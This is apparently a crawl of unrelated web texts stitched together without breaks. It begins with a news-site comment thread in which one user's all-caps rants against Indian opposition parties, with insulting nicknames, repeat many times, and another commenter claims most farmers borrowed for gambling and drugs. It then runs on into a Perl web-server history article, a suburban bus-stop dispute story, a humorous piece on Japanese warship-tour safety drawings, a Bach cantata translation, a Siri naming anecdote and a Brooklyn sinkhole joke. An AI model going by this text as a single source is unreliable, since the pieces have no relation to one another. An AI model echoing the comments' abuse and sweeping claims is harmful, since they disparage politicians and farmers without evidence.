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Bhrim Baro 22442 2558 more points needed to reach next level. more points needed to reach next level. Know more about Times Points Level 7 Influencer Bhrim Baro has earned the Influencer Level 7 badge as 2500 people have Agreed or Recommended his/her comments on Timesofindia.com. Know more about Times Points. Level 7 Wordsmith Bhrim Baro has posted 2000 comments on Timesofindia.com to earn the Wordsmith Level 7 badge. Know more about Times Points. Level 2 Networker Bhrim Baro has acquired 25 followers to become Networker Level 2 on Timesofindia.com Know more about Times Points. Badges Earned Influencer 7 Wordsmith 7 Networker 2 News King 1 Member 1 Know more about Times Points.. Bhrim - 1 hour ago - Follow. *Necessary Evil to keep at bay 70 Yrs Fraud Srculars ANTI-Nationals, ANTI-Development SCAMgress, CPM, TMC, SP, BSP, RJD, JDU, SCAM-ADMI-PARTY CON-ARTISTS KejruLIAR, Pappu Playing D1RTY POOR Vote bank politics Photo-Op.. BJP.MODI HAS NOO Options but to also Satisfy Poor free demands to some extent, or Risk LOOTERS BREGADE above group fooling Misinforming and wining election, then India would be TOTALLY LOST to another 70 yrs of LOOT. DESTRUCTION of India GDP, Economy, Defense..**It's one thing to... Read More *Necessary Evil to keep at bay 70 Yrs Fraud Srculars ANTI-Nationals, ANTI-Development SCAMgress, CPM, TMC, SP, BSP, RJD, JDU, SCAM-ADMI-PARTY CON-ARTISTS KejruLIAR, Pappu Playing D1RTY POOR Vote bank politics Photo-Op.. BJP.MODI HAS NOO Options but to also Satisfy Poor free demands to some extent, or Risk LOOTERS BREGADE above group fooling Misinforming and wining election, then India would be TOTALLY LOST to another 70 yrs of LOOT. DESTRUCTION of India GDP, Economy, Defense..**It's one thing to be RBI UNelected, Lecturer, quiet another to fix 70 yrs of Destruction, at the same time have POOOR Needy support Gov, when you have CROOK LOOTERS Secular ANTI-NATIONALS Bregade BRAINWASH POOR to to vote FREE Everything. Even the Media PUMPING Fraud Secular POOR Exploiting Fooling VOTE BANK FRAUD Practices. Hide responses 36 0 • Reply • • Flag Find this comment offensive? Your reason has been submitted to the Admin. Choose your reason below and click on the Submit button. This will alert our moderators to take action Reason for reporting: Foul language
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Bhrim Baro 22442 2558 more points needed to reach next level. more points needed to reach next level. Know more about Times Points Level 7 Influencer Bhrim Baro has earned the Influencer Level 7 badge as 2500 people have Agreed or Recommended his/her comments on Timesofindia.com. Know more about Times Points. Level 7 Wordsmith Bhrim Baro has posted 2000 comments on Timesofindia.com to earn the Wordsmith Level 7 badge. Know more about Times Points. Level 2 Networker Bhrim Baro has acquired 25 followers to become Networker Level 2 on Timesofindia.com Know more about Times Points. Badges Earned Influencer 7 Wordsmith 7 Networker 2 News King 1 Member 1 Know more about Times Points.. Bhrim Baro - 45 mins ago - Follow. **It's one thing to be RBI UNelected, Lecturer, quiet another to fix 70 yrs of Destruction, at the same time have POOOR Needy support Gov, when you have CROOK LOOTERS Secular ANTI-NATIONALS Bregade BRAINWASH POOR to to vote FREE Everything. Even the Media PUMPING Fraud Secular POOR VOTE BANK FRAUD Practices **Necessary Evil to keep at bay 70 Yrs Fraud Srculars ANTI-Nationals, ANTI-Development SCAMgress, CPM, TMC, SP, BSP, RJD, JDU, SCAM-ADMI-PARTY CON-ARTISTS KejruLIAR, Pappu Playing D1RTY POOR Vote... Read More **It's one thing to be RBI UNelected, Lecturer, quiet another to fix 70 yrs of Destruction, at the same time have POOOR Needy support Gov, when you have CROOK LOOTERS Secular ANTI-NATIONALS Bregade BRAINWASH POOR to to vote FREE Everything. Even the Media PUMPING Fraud Secular POOR VOTE BANK FRAUD Practices **Necessary Evil to keep at bay 70 Yrs Fraud Srculars ANTI-Nationals, ANTI-Development SCAMgress, CPM, TMC, SP, BSP, RJD, JDU, SCAM-ADMI-PARTY CON-ARTISTS KejruLIAR, Pappu Playing D1RTY POOR Vote bank politics Photo-Op, BJP.MODI HAS NOO Options but to also Satisfy Poor free demands to some extent, or Risk LOOTERS BREGADE above group fooling Misinforming and wining election, then India would be TOTALLY LOST to another 70 yrs of LOOT. DESTRUCTION of India GDP, Economy, Defense.... Show responses 0 0 • Reply • • Flag Find this comment offensive? Your reason has been submitted to the Admin. Choose your reason below and click on the Submit button. This will alert our moderators to take action Reason for reporting: Foul language
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Bhrim Baro 22442 2558 more points needed to reach next level. more points needed to reach next level. Know more about Times Points Level 7 Influencer Bhrim Baro has earned the Influencer Level 7 badge as 2500 people have Agreed or Recommended his/her comments on Timesofindia.com. Know more about Times Points. Level 7 Wordsmith Bhrim Baro has posted 2000 comments on Timesofindia.com to earn the Wordsmith Level 7 badge. Know more about Times Points. Level 2 Networker Bhrim Baro has acquired 25 followers to become Networker Level 2 on Timesofindia.com Know more about Times Points. Badges Earned Influencer 7 Wordsmith 7 Networker 2 News King 1 Member 1 Know more about Times Points.. Bhrim Baro - 46 mins ago - Follow. * If Gov doesn't give waivers to POOR Farmers loans, CROOK Seculars LOOTERS & Media were 24/7 EXPLOITING POOR & NEEDY, SCAMgress, SP, CPM, SCAM-ADMI-PARTY KejruLIAR CON-ARTIST were constantly FOOLING POOR VOTE BANK POLITICS.... Show responses 0 0 • Reply • • Flag Find this comment offensive? Your reason has been submitted to the Admin. Choose your reason below and click on the Submit button. This will alert our moderators to take action Reason for reporting: Foul language
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Bhrim Baro 22442 2558 more points needed to reach next level. more points needed to reach next level. Know more about Times Points Level 7 Influencer Bhrim Baro has earned the Influencer Level 7 badge as 2500 people have Agreed or Recommended his/her comments on Timesofindia.com. Know more about Times Points. Level 7 Wordsmith Bhrim Baro has posted 2000 comments on Timesofindia.com to earn the Wordsmith Level 7 badge. Know more about Times Points. Level 2 Networker Bhrim Baro has acquired 25 followers to become Networker Level 2 on Timesofindia.com Know more about Times Points. Badges Earned Influencer 7 Wordsmith 7 Networker 2 News King 1 Member 1 Know more about Times Points.. Bhrim Baro - 45 mins ago - Follow. **It's one thing to be RBI UNelected, Lecturer, quiet another to fix 70 yrs of Destruction, at the same time have POOOR Needy support Gov, when you have CROOK LOOTERS Secular ANTI-NATIONALS Bregade BRAINWASH POOR to to vote FREE Everything. Even the Media PUMPING Fraud Secular POOR VOTE BANK FRAUD Practices **Necessary Evil to keep at bay 70 Yrs Fraud Srculars ANTI-Nationals, ANTI-Development SCAMgress, CPM, TMC, SP, BSP, RJD, JDU, SCAM-ADMI-PARTY CON-ARTISTS KejruLIAR, Pappu Playing D1RTY POOR Vote... Read More **It's one thing to be RBI UNelected, Lecturer, quiet another to fix 70 yrs of Destruction, at the same time have POOOR Needy support Gov, when you have CROOK LOOTERS Secular ANTI-NATIONALS Bregade BRAINWASH POOR to to vote FREE Everything. Even the Media PUMPING Fraud Secular POOR VOTE BANK FRAUD Practices **Necessary Evil to keep at bay 70 Yrs Fraud Srculars ANTI-Nationals, ANTI-Development SCAMgress, CPM, TMC, SP, BSP, RJD, JDU, SCAM-ADMI-PARTY CON-ARTISTS KejruLIAR, Pappu Playing D1RTY POOR Vote bank politics Photo-Op, BJP.MODI HAS NOO Options but to also Satisfy Poor free demands to some extent, or Risk LOOTERS BREGADE above group fooling Misinforming and wining election, then India would be TOTALLY LOST to another 70 yrs of LOOT. DESTRUCTION of India GDP, Economy, Defense....... Show responses 0 0 • Reply • • Flag Find this comment offensive? Your reason has been submitted to the Admin. Choose your reason below and click on the Submit button. This will alert our moderators to take action Reason for reporting: Foul language
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Bhrim Baro 22442 2558 more points needed to reach next level. more points needed to reach next level. Know more about Times Points Level 7 Influencer Bhrim Baro has earned the Influencer Level 7 badge as 2500 people have Agreed or Recommended his/her comments on Timesofindia.com. Know more about Times Points. Level 7 Wordsmith Bhrim Baro has posted 2000 comments on Timesofindia.com to earn the Wordsmith Level 7 badge. Know more about Times Points. Level 2 Networker Bhrim Baro has acquired 25 followers to become Networker Level 2 on Timesofindia.com Know more about Times Points. Badges Earned Influencer 7 Wordsmith 7 Networker 2 News King 1 Member 1 Know more about Times Points.. Bhrim Baro - 44 mins ago - Follow. *If Gov doesn't give waivers to POOR Farmers loans, CROOK Seculars LOOTERS & Media were 24/7 EXPLOITING POOR & NEEDY, SCAMgress, SP, CPM, SCAM-ADMI-PARTY KejruLIAR CON-ARTIST wer constantly FOOLING POOR VOTE BANK POLITICS..... Show responses 0 0 • Reply • • Flag Find this comment offensive? Your reason has been submitted to the Admin. Choose your reason below and click on the Submit button. This will alert our moderators to take action Reason for reporting: Foul language
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Bhrim Baro 22442 2558 more points needed to reach next level. more points needed to reach next level. Know more about Times Points Level 7 Influencer Bhrim Baro has earned the Influencer Level 7 badge as 2500 people have Agreed or Recommended his/her comments on Timesofindia.com. Know more about Times Points. Level 7 Wordsmith Bhrim Baro has posted 2000 comments on Timesofindia.com to earn the Wordsmith Level 7 badge. Know more about Times Points. Level 2 Networker Bhrim Baro has acquired 25 followers to become Networker Level 2 on Timesofindia.com Know more about Times Points. Badges Earned Influencer 7 Wordsmith 7 Networker 2 News King 1 Member 1 Know more about Times Points.. Bhrim Baro - 46 mins ago - Follow. * If Gov doesn't give waivers to POOR Farmers loans, CROOK Seculars LOOTERS & Media were 24/7 EXPLOITING POOR & NEEDY, SCAMgress, SP, CPM, SCAM-ADMI-PARTY KejruLIAR CON-ARTIST were constantly FOOLING POOR VOTE BANK POLITICS...... Show responses 0 0 • Reply • • Flag Find this comment offensive? Your reason has been submitted to the Admin. Choose your reason below and click on the Submit button. This will alert our moderators to take action Reason for reporting: Foul language
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Bhrim Baro 22442 2558 more points needed to reach next level. more points needed to reach next level. Know more about Times Points Level 7 Influencer Bhrim Baro has earned the Influencer Level 7 badge as 2500 people have Agreed or Recommended his/her comments on Timesofindia.com. Know more about Times Points. Level 7 Wordsmith Bhrim Baro has posted 2000 comments on Timesofindia.com to earn the Wordsmith Level 7 badge. Know more about Times Points. Level 2 Networker Bhrim Baro has acquired 25 followers to become Networker Level 2 on Timesofindia.com Know more about Times Points. Badges Earned Influencer 7 Wordsmith 7 Networker 2 News King 1 Member 1 Know more about Times Points.. Bhrim Baro - 46 mins ago - Follow. * If Gov doesn't give waivers to POOR Farmers loans, CROOK Seculars LOOTERS & Media were 24/7 EXPLOITING POOR & NEEDY, SCAMgress, SP, CPM, SCAM-ADMI-PARTY KejruLIAR CON-ARTIST were constantly FOOLING POOR VOTE BANK POLITICS..... Show responses 0 0 • Reply • • Flag Find this comment offensive? Your reason has been submitted to the Admin. Choose your reason below and click on the Submit button. This will alert our moderators to take action Reason for reporting: Foul language
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Bhrim Baro 22442 2558 more points needed to reach next level. more points needed to reach next level. Know more about Times Points Level 7 Influencer Bhrim Baro has earned the Influencer Level 7 badge as 2500 people have Agreed or Recommended his/her comments on Timesofindia.com. Know more about Times Points. Level 7 Wordsmith Bhrim Baro has posted 2000 comments on Timesofindia.com to earn the Wordsmith Level 7 badge. Know more about Times Points. Level 2 Networker Bhrim Baro has acquired 25 followers to become Networker Level 2 on Timesofindia.com Know more about Times Points. Badges Earned Influencer 7 Wordsmith 7 Networker 2 News King 1 Member 1 Know more about Times Points.. Bhrim Baro - 45 mins ago - Follow. **It's one thing to be RBI UNelected, Lecturer, quiet another to fix 70 yrs of Destruction, at the same time have POOOR Needy support Gov, when you have CROOK LOOTERS Secular ANTI-NATIONALS Bregade BRAINWASH POOR to to vote FREE Everything. Even the Media PUMPING Fraud Secular POOR VOTE BANK FRAUD Practices **Necessary Evil to keep at bay 70 Yrs Fraud Srculars ANTI-Nationals, ANTI-Development SCAMgress, CPM, TMC, SP, BSP, RJD, JDU, SCAM-ADMI-PARTY CON-ARTISTS KejruLIAR, Pappu Playing D1RTY POOR Vote... Read More **It's one thing to be RBI UNelected, Lecturer, quiet another to fix 70 yrs of Destruction, at the same time have POOOR Needy support Gov, when you have CROOK LOOTERS Secular ANTI-NATIONALS Bregade BRAINWASH POOR to to vote FREE Everything. Even the Media PUMPING Fraud Secular POOR VOTE BANK FRAUD Practices **Necessary Evil to keep at bay 70 Yrs Fraud Srculars ANTI-Nationals, ANTI-Development SCAMgress, CPM, TMC, SP, BSP, RJD, JDU, SCAM-ADMI-PARTY CON-ARTISTS KejruLIAR, Pappu Playing D1RTY POOR Vote bank politics Photo-Op, BJP.MODI HAS NOO Options but to also Satisfy Poor free demands to some extent, or Risk LOOTERS BREGADE above group fooling Misinforming and wining election, then India would be TOTALLY LOST to another 70 yrs of LOOT. DESTRUCTION of India GDP, Economy, Defense..... Show responses 0 0 • Reply • • Flag Find this comment offensive? Your reason has been submitted to the Admin. Choose your reason below and click on the Submit button. This will alert our moderators to take action Reason for reporting: Foul language
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Bhrim Baro 22442 2558 more points needed to reach next level. more points needed to reach next level. Know more about Times Points Level 7 Influencer Bhrim Baro has earned the Influencer Level 7 badge as 2500 people have Agreed or Recommended his/her comments on Timesofindia.com. Know more about Times Points. Level 7 Wordsmith Bhrim Baro has posted 2000 comments on Timesofindia.com to earn the Wordsmith Level 7 badge. Know more about Times Points. Level 2 Networker Bhrim Baro has acquired 25 followers to become Networker Level 2 on Timesofindia.com Know more about Times Points. Badges Earned Influencer 7 Wordsmith 7 Networker 2 News King 1 Member 1 Know more about Times Points.. Bhrim Baro - 45 mins ago - Follow. **It's one thing to be RBI UNelected, Lecturer, quiet another to fix 70 yrs of Destruction, at the same time have POOOR Needy support Gov, when you have CROOK LOOTERS Secular ANTI-NATIONALS Bregade BRAINWASH POOR to to vote FREE Everything. Even the Media PUMPING Fraud Secular POOR VOTE BANK FRAUD Practices **Necessary Evil to keep at bay 70 Yrs Fraud Srculars ANTI-Nationals, ANTI-Development SCAMgress, CPM, TMC, SP, BSP, RJD, JDU, SCAM-ADMI-PARTY CON-ARTISTS KejruLIAR, Pappu Playing D1RTY POOR Vote... Read More **It's one thing to be RBI UNelected, Lecturer, quiet another to fix 70 yrs of Destruction, at the same time have POOOR Needy support Gov, when you have CROOK LOOTERS Secular ANTI-NATIONALS Bregade BRAINWASH POOR to to vote FREE Everything. Even the Media PUMPING Fraud Secular POOR VOTE BANK FRAUD Practices **Necessary Evil to keep at bay 70 Yrs Fraud Srculars ANTI-Nationals, ANTI-Development SCAMgress, CPM, TMC, SP, BSP, RJD, JDU, SCAM-ADMI-PARTY CON-ARTISTS KejruLIAR, Pappu Playing D1RTY POOR Vote bank politics Photo-Op, BJP.MODI HAS NOO Options but to also Satisfy Poor free demands to some extent, or Risk LOOTERS BREGADE above group fooling Misinforming and wining election, then India would be TOTALLY LOST to another 70 yrs of LOOT. DESTRUCTION of India GDP, Economy, Defense...... Show responses 0 0 • Reply • • Flag Find this comment offensive? Your reason has been submitted to the Admin. Choose your reason below and click on the Submit button. This will alert our moderators to take action Reason for reporting: Foul language
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Bhrim Baro 22442 2558 more points needed to reach next level. more points needed to reach next level. Know more about Times Points Level 7 Influencer Bhrim Baro has earned the Influencer Level 7 badge as 2500 people have Agreed or Recommended his/her comments on Timesofindia.com. Know more about Times Points. Level 7 Wordsmith Bhrim Baro has posted 2000 comments on Timesofindia.com to earn the Wordsmith Level 7 badge. Know more about Times Points. Level 2 Networker Bhrim Baro has acquired 25 followers to become Networker Level 2 on Timesofindia.com Know more about Times Points. Badges Earned Influencer 7 Wordsmith 7 Networker 2 News King 1 Member 1 Know more about Times Points.. Bhrim Baro - 44 mins ago - Follow. *If Gov doesn't give waivers to POOR Farmers loans, CROOK Seculars LOOTERS & Media were 24/7 EXPLOITING POOR & NEEDY, SCAMgress, SP, CPM, SCAM-ADMI-PARTY KejruLIAR CON-ARTIST were constantly FOOLING POOR VOTE BANK POLITICS..... Show responses 0 0 • Reply • • Flag Find this comment offensive? Your reason has been submitted to the Admin. Choose your reason below and click on the Submit button. This will alert our moderators to take action Reason for reporting: Foul language
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Bhrim Baro 22442 2558 more points needed to reach next level. more points needed to reach next level. Know more about Times Points Level 7 Influencer Bhrim Baro has earned the Influencer Level 7 badge as 2500 people have Agreed or Recommended his/her comments on Timesofindia.com. Know more about Times Points. Level 7 Wordsmith Bhrim Baro has posted 2000 comments on Timesofindia.com to earn the Wordsmith Level 7 badge. Know more about Times Points. Level 2 Networker Bhrim Baro has acquired 25 followers to become Networker Level 2 on Timesofindia.com Know more about Times Points. Badges Earned Influencer 7 Wordsmith 7 Networker 2 News King 1 Member 1 Know more about Times Points.. Bhrim Baro - 46 mins ago - Follow. * If Gov doesn't give waivers to POOR Farmers loans, CROOK Seculars LOOTERS & Media were 24/7 EXPLOITING POOR & NEEDY, SCAMgress, SP, CPM, SCAM-ADMI-PARTY KejruLIAR CON-ARTIST were constantly FOOLING POOR VOTE BANK POLITICS.... Show responses 0 0 • Reply • • Flag Find this comment offensive? Your reason has been submitted to the Admin. Choose your reason below and click on the Submit button. This will alert our moderators to take action Reason for reporting: Foul language
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Bhrim Baro 22442 2558 more points needed to reach next level. more points needed to reach next level. Know more about Times Points Level 7 Influencer Bhrim Baro has earned the Influencer Level 7 badge as 2500 people have Agreed or Recommended his/her comments on Timesofindia.com. Know more about Times Points. Level 7 Wordsmith Bhrim Baro has posted 2000 comments on Timesofindia.com to earn the Wordsmith Level 7 badge. Know more about Times Points. Level 2 Networker Bhrim Baro has acquired 25 followers to become Networker Level 2 on Timesofindia.com Know more about Times Points. Badges Earned Influencer 7 Wordsmith 7 Networker 2 News King 1 Member 1 Know more about Times Points.. Bhrim Baro - 46 mins ago - Follow. * If Gov doesn't give waivers to POOR Farmers loans, CROOK Seculars LOOTERS & Media were 24/7 EXPLOITING POOR & NEEDY, SCAMgress, SP, CPM, SCAM-ADMI-PARTY KejruLIAR CON-ARTIST were constantly FOOLING POOR VOTE BANK POLITICS....... Show responses 0 0 • Reply • • Flag Find this comment offensive? Your reason has been submitted to the Admin. Choose your reason below and click on the Submit button. This will alert our moderators to take action Reason for reporting: Foul language
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Bhrim Baro 22442 2558 more points needed to reach next level. more points needed to reach next level. Know more about Times Points Level 7 Influencer Bhrim Baro has earned the Influencer Level 7 badge as 2500 people have Agreed or Recommended his/her comments on Timesofindia.com. Know more about Times Points. Level 7 Wordsmith Bhrim Baro has posted 2000 comments on Timesofindia.com to earn the Wordsmith Level 7 badge. Know more about Times Points. Level 2 Networker Bhrim Baro has acquired 25 followers to become Networker Level 2 on Timesofindia.com Know more about Times Points. Badges Earned Influencer 7 Wordsmith 7 Networker 2 News King 1 Member 1 Know more about Times Points.. Bhrim Baro - 46 mins ago - Follow. * If Gov doesn't give waivers to POOR Farmers loans, CROOK Seculars LOOTERS & Media were 24/7 EXPLOITING POOR & NEEDY, SCAMgress, SP, CPM, SCAM-ADMI-PARTY KejruLIAR CON-ARTIST were constantly FOOLING POOR VOTE BANK POLITICS... Show responses 0 0 • Reply • • Flag Find this comment offensive? Your reason has been submitted to the Admin. Choose your reason below and click on the Submit button. This will alert our moderators to take action Reason for reporting: Foul language
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Shekar Natesh 9967 15033 more points needed to reach next level. more points needed to reach next level. Know more about Times Points Level 7 Movie Buff Shekar Natesh has reviewed 300 movies on Timesofindia.com to earn the Movie Buff Level 7 badge. Know more about Times Points. Level 7 Influencer Shekar Natesh has earned the Influencer Level 7 badge as 2500 people have Agreed or Recommended his/her comments on Timesofindia.com. Know more about Times Points. Level 7 Wordsmith Shekar Natesh has posted 2000 comments on Timesofindia.com to earn the Wordsmith Level 7 badge. Know more about Times Points. Badges Earned Movie Buff 7 Influencer 7 Wordsmith 7 News King 3 Frequent Flyer 4 Inboxer 1 Member 1 Know more about Times Points.. Shekar Natesh - Bangalore - 42 mins ago - Follow. Fully agree. Most of the so called farmers have taken loans not for their Agricultural needs but for Gambling, Boozing, Drug intakes etc. Show responses 2 1 • Reply • • Flag Find this comment offensive? Your reason has been submitted to the Admin. Choose your reason below and click on the Submit button. This will alert our moderators to take action Reason for reporting: Foul language
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An important step between Davis's geography gateway and the standardization of such low-threshold web scripting through CGI was the Perl HTTPD, a web server written entirely in Perl by grad student Marc Van Heyningen at Indiana University in Bloomington in early 1993. Among the design principles Van Heyningen laid out was easy extensibility—beyond the fact that using Perl meant no compiling was necessary, the server included "a feature to restart the server when new features are added to the code with zero downtime," making it "trivial" to add new functionality.
The Perl HTTPD stood in contrast to the idea that servers should have a single, dedicated purpose. Instead, it hinted at an incremental, permanently beta approach to software products that would eventually be considered common sense in web work. Van Heyningen later wrote that his reason for building a server from scratch was there was no easy way to create "virtual documents" (i.e., dynamically generated pages) with the CERN server, and joked that the easiest way to do this was to use "the language of the gods." Among the scripts he added early on was a web interface to Sun's man pages as well as a a Finger Gateway (an early protocol for sharing information about a computer system or user).
Although the Indiana University server used by Van Heyningen was primarily used to connect to existing information resources, Van Heyningen and fellow students also saw the potential for personal publishing. One of its more popular pages from 1993-1994 published documents, photographs, and news stories around a famous Canadian court case for which national media had been gagged.
The Perl HTTPD wasn't necessarily built to last. Today, Van Heyningen remembers it as a "hacked up prototype." Its original purpose was to demonstrate the web's usefulness to senior staff who had chosen Gopher to be the university's network interface. Van Heyningen's argument-in-code included an appeal to his professors' vanity in the form of a web-based, searchable index of their publications. In other words, a key innovation in server technology was created to win an argument, and in that sense the code did all that was asked of it.
Despite the servers's temporary nature, the ideas that accompanied the Perl HTTPD would stick around. Van Heyningen began to receive requests for the code and shared it online, with a note that one would need to know some Perl (or someone who did) to port the server to other systems. Soon after, Austin-based programmer Tony Sanders created a portable version called Plexus. Sanders's web server was a fully fledged product that cemented the kind of easy extensibility that the Perl HTTPD suggested, while adding a number of new features such as image decoding. Plexus in turn directly inspired Rob McCool to create an "htbin" for scripts on the NCSA HTTPD server, and soon after that the implementation of the Common Gateway Interface.
Alongside this historical legacy, the Perl HTTPD is also preserved in a more tangible form—thanks to the wonderful Internet Archive (the Wayback Machine), you can still download the tarball today.
Future histories
For all the tech world's talk of disruption, technological change is in fact a contradictory process. Existing technologies are the basis for thinking about new ones. Archaic forms of programming inspire new ways of doing things today. Something as innovative as the web was very much an extension of older technologies—not least, Perl.
To go beyond simple timelines of seminal events, perhaps web historians could take a cue from Perl. Part of the challenge is material. Much of what must be done involves wrangling structure from the messy data that's available, gluing together such diverse sources as mailing lists, archived websites, and piles of books and magazines. And part of the challenge is conceptual—to see that web history is much more than the release dates of new technologies, that it encompasses personal memory, human emotion, and social processes as much as it does protocols and Initial Public Offerings, and that it is not one history but many. Or as the Perl credo goes, "There's More Than One Way To Do It."
This is the first article in Opensource.com's Open Community Archive, a new community-curated collection of stories about the history of open source technologies, projects, and people. Send your story ideas to open@opensource.com.Owners of a busy Coon Rapids strip mall want to banish public buses from stopping on their property.
Now Anoka County and Metro Transit, which are responsible for the bus line, are scrambling to salvage the popular stop near Wal-Mart and Cub Foods. They’ve scheduled a meeting with the owners Friday.
County officials said they were told some of the smaller businesses don’t like the loitering that comes with having a bus stop nearby. But the owners say it’s about property rights, pure and simple.
In a tersely written letter, owners of Riverdale Crossing are demanding that Anoka County “immediately discontinue” using their private property as a bus stop. A representative for the owners said it isn’t an indictment of public transit or people waiting to catch a bus, but about the right to decide how one’s property can be used.
The owners, who acquired the property in 2005, say the county never asked permission to use their private property, which is required by state law. The ownership group “has not given, and is not willing to give, such consent,” according to an April letter from the owners’ attorney.
The busy 805 bus route — which runs from Northtown Mall in Blaine, through Coon Rapids and into downtown Anoka — has been hailed since the 1990s as a successful effort in suburban mass transit. Buses on the route pick up and leave passengers at the strip mall about every 30 minutes, even though there are no signs or benches identifying it as a bus stop.
Some of the businesses at Riverdale Crossing have complained that people waiting for the bus loiter inside and outside stores in the strip mall, using benches and space meant for customers.
“The small stores were complaining to the mall owners that too many people were hanging around the bus stop,” said Anoka County Commissioner Scott Schulte. “I am hoping we can work with the mall owner.”
Schulte said it would be difficult to build a bus stop on the curb because the intersection, with its multiple turn lanes, is narrow and a bit dangerous.
Access vs. property rights
This is the second time in recent months that loitering around bus stops has caused consternation in Anoka County. The Anoka City Council, confronted with a wave of complaints about aggressive panhandling and loitering downtown, moved to quell the problem by limiting panhandling and overnight camping.
Jeff Carriveau, managing partner at HJ Development in Wayzata — which includes the Riverdale ownership group — said the county and Metro Transit should have asked permission and negotiated an agreement for the bus stop.
“It’s a property rights issue. They can’t use your driveway at your house without permission,” said Carriveau, arguing the county would not allow that kind of trespassing on its own land.
He said that buses stop in front of the strip mall, which affects the large number of customers who drive there to shop. He said a proper stop should be built on the curb, as it is at most other locations.
“It’s no different from them owning the property and me using it without permission,” Carriveau said, adding that unauthorized use can expose the mall owner to liability.
Anoka County Board Chairwoman Rhonda Sivarajah said she believes a compromise can be found that both serves residents and respects the mall owners’ wishes.
“We want to make sure folks who don’t have access to transportation are able to get where they need to go — to the grocery store and work,” Sivarajah said. “But we certainly respect private property rights.”
‘I’d be lost’
The Metropolitan Council funds the bus route but contracts with Anoka County to operate it. Anoka then subcontracts with First Transit to provide the service, and Metro Transit assists with route development.
Howie Padilla, spokesman for Metro Transit, said that buses are still stopping at Riverdale Crossing and that Metro Transit wants to explore options for that route and, specifically, that stop.
For some who rely on the bus, a route change would be a hardship.
Teresa Banken waited to catch the bus Thursday at Riverdale Crossing after finishing her shift at a nearby Wendy’s.
“This is scary news to me. I’d be lost,” said Banken, of Coon Rapids, who relies on bus service to travel the 5 miles to work from her home. Her car broke down several months ago and she doesn’t have the money for a new one.
“I am trying to save. It looks like it will be at least a year,” she said.
But some employees who work in the shopping center say the bus stop does result in people hanging around, sitting on benches in stores meant for customers.
Robert Loerzel, who works in the area, said it doesn’t bother him but that others have expressed discomfort.
“There are people who hang out all day,” he said.Living in an age where people threaten legal action the moment they trip over a pebble on a public beach, it’s little wonder that companies and organisations should take extra precautions when allowing everyday folks to wander around their facilities during open days, taking great pains to highlight every possible risk beforehand so that they don’t get sued when someone gets savaged by a radioactive monkey.
Japan’s Ministry of Defense is no exception, and in an effort to ensure their safety when touring military vessels, have put together some handy information and rules for the public to abide by while on board. Fortunately for you and me, this is no boring old list of dos and don’ts: this is a list that comes with pictures evidently created by a member of staff with years of experience using Microsoft Windows’ Paint program, resulting something that not only looks like South Park‘s “Terrance and Phillip Show” but even manages to sneak in a little Metal Gear Solid reference for video game fans.
The following are genuine health and safety guidelines from Japan’s Ministry of Defense website. Warning: they might just make your day.
The first couple of illustrations warn visitors to always climb ladders and stairs properly, using both hands, and that by no means should they attempt to sneak into restricted areas. We’re guessing that the creator of these pictures is also a bit of a video game fan and just couldn’t resist giving a wink to Metal Gear Solid 2 fans by adding a speech bubble reading “Over here, Snake!” alongside the picture of a tourist engaging in a spot of amateur espionage action.
▼ “Over here, Snake!”
▼ Next, we are warned not to lean against the guard rails while on board. If you do, you risk slipping over the side and softly exclaiming “Wha?” as you fall to your death.
▼ No pushing or running on the upper deck. And no bursting into song like the man in the bottom-left.
▼ One of our very favourites, this picture actually warns visitors not to go pressing buttons or fiddling with equipment, but we think “No karate chopping” or “No octopus men” work just as well.
▼ Oh, and be sure to mind your head, elbows and shins pretty much all the time.
▼ Lastly, let’s all use the toilet properly, please. And close the valve when you’re finished! Remember: lefty loosey, righty tighty.
I don’t know about you guys, but I suddenly really want to take a tour on a warship…
Source: Itai News (Japanese)Translation
1. Sinfonia
2. Chorus
We must through much tribulation enter
into the kingdom of God.
3. Aria
I desire to go to heaven,
wicked Sodom, you and I
are henceforth through with each other.
My abode is not here,
for never more shall I
live with you in peace.
4. Recitative
Ah! to be in heaven now!
How this evil world oppresses me!
With weeping I rise,
with weeping I go to bed,
how treacherously they lie in wait for me!
Mark this, O Lord,
they hate me, and with no cause,
as though the world had the power
to kill me utterly;
and though I live with patience
and sighs,
forsaken and despised,
yet the world derives from my sorrow
the greatest pleasure.
My God, that is hard to bear.
Ah! would that I,
my Jesus, even today,
were with Thee in heaven!
5. Aria
I sow my tears
with anxious heart.
Yet my heart’s distress
will bear me glory
on the day of the blessed harvest.
6. Recitative
I am prepared
to bear my cross with patience;
I know that all my sufferings
are not worthy to be compared with the
splendour that God shall reveal
to His chosen throng and me.
I weep now, when the tumult of the world
seems glad at my sorrow.
Soon the time will come
when my heart shall rejoice,
and the world weep
without a Comforter.
He who struggles against
and fights the foe
shall be crowned;
for you do not get carried by God
to heaven.
7. Aria
How I shall rejoice
and be refreshed,
when all passing
torment is over!
Then shall I gleam like stars
and shine like the sun,
and my heavenly bliss
shall not be disturbed
by grieving,
howling and shouting.
8. Chorale
Rejoice greatly, o my soul,
and forget all misery and torment
since Christ your Lord
calls you from this valley of misery!
From affliction and sorrow
you will journey to the joy
no ear has ever heard
that awaits you in eternity.A palate-cleanser for the four course meal that will be your long and fruitful day: Yoni Heisler recounts a talk by Siri co-founder Dag Kittlaus in which he describes the naming process. Siri means “beautiful woman who leads you to victory” in Norwegian and Kittlaus owned the siri.com domain. He was planning on naming a child after said beautiful woman but his first child was a boy. Instead, he named his product after her.
Once Apple bought the company, Kittlaus was brought into Apple HQ to speak to Scott Forstall. After a bit of hemming and hawing, he was sent to meet with Steve Jobs in secret.
And he wanted me to come over to his house the next day, and I did, and I spent 3 hours with him in front of his fireplace having this surreal conversation about the future. And, you know, he talked about why Apple was going to win, and we talked about how Siri was doing. And he was very excited about the fact that.. you know, he was very interested in this area in general but, you know, they’re patient, they don’t jump on anything until they feel they can go after something new and he felt that we cracked it. So that was his attraction.
Steve initially didn’t like the name Siri for the iPhone’s voice assistant but, unable to find a better name (Ethel, maybe?) he settled on a Norwegian warrior goddess. And now you know… the rest of the story.A large sinkhole has swallowed up an intersection in Brooklyn’s Sunset Park neighborhood, on 5th Ave. and 64th St. No injuries have been reported. The Reckoning approaches.
The concrete shroud partitioning the dank gurgle of the Underworld has been pierced; the Devil has come to claim Brooklyn.
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It’s not clear yet if water lines are impacted, though it appears gas lines have been affected and National Grid is on site.
Finally, ornery Ba‘alZəbûb has begun opening portals into the borough, beckoned by the gleeful immorality of $21 cold-pressed arugula, lime, and tumeric juice peddled in its more gentrified pockets, incensed by Brooklyn’s already-swampy weather and its proliferation of rats poised for subjugation at the spiky heels of Lucifer.
